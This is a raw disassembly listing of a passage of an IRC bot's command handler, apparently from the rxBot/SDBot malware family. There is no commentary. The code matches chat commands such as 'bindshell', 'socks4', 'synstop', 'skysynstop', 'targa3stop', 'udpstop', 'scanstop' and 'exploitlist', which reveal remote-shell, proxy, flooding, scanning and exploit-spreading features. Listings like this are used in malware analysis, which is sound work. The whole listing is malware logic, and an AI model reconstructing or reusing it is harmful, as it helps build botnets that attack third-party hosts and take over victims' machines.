loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax

loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------

loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]

loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C910
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE58
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8F4
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8EC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8D4
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42C898
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C854

loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C82C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_402524

loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2670580h
		nop
		jmp	short loc_40250E
; ---------------------------------------------------------------------------

loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42C7F4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C7C4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C790
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94

loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854

loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_42923C, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D160

loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42923C
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------

loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA64 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D178[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D160[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------

loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h

loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch

loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1

loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C

loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h

loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C74C ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F

loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------

loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------

loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA60 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh

loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA60 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx

loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C6A0

loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C678
		jmp	short loc_402B24
; ---------------------------------------------------------------------------

loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C65C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C640
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C62C
		push	offset dword_42C620
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C600
		push	offset dword_42C5F0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5E4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5D8
		push	offset dword_42C5CC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C5B8
		push	offset dword_42C5AC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C590
		push	offset dword_42C580
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C564
		push	offset dword_42C554
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C53C
		push	offset dword_42C530
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5D8
		push	offset dword_42C5CC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C5B8
		push	offset dword_42C5AC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C518
		push	offset dword_42C50C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C500
		push	offset dword_42C4F4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C564
		push	offset dword_42C554
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C53C
		push	offset dword_42C530
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4E4
		push	offset dword_42C4D4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C4C4
		push	offset dword_42C4B4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C590
		push	offset dword_42C580
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C480
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4E4
		push	offset dword_42C4D4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C4C4
		push	offset dword_42C4B4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C518
		push	offset dword_42C50C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C500
		push	offset dword_42C4F4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C438
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3E8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C3C4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C3A4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2E0
		jnz	short loc_403191
		mov	eax, offset unk_42C2B8

loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
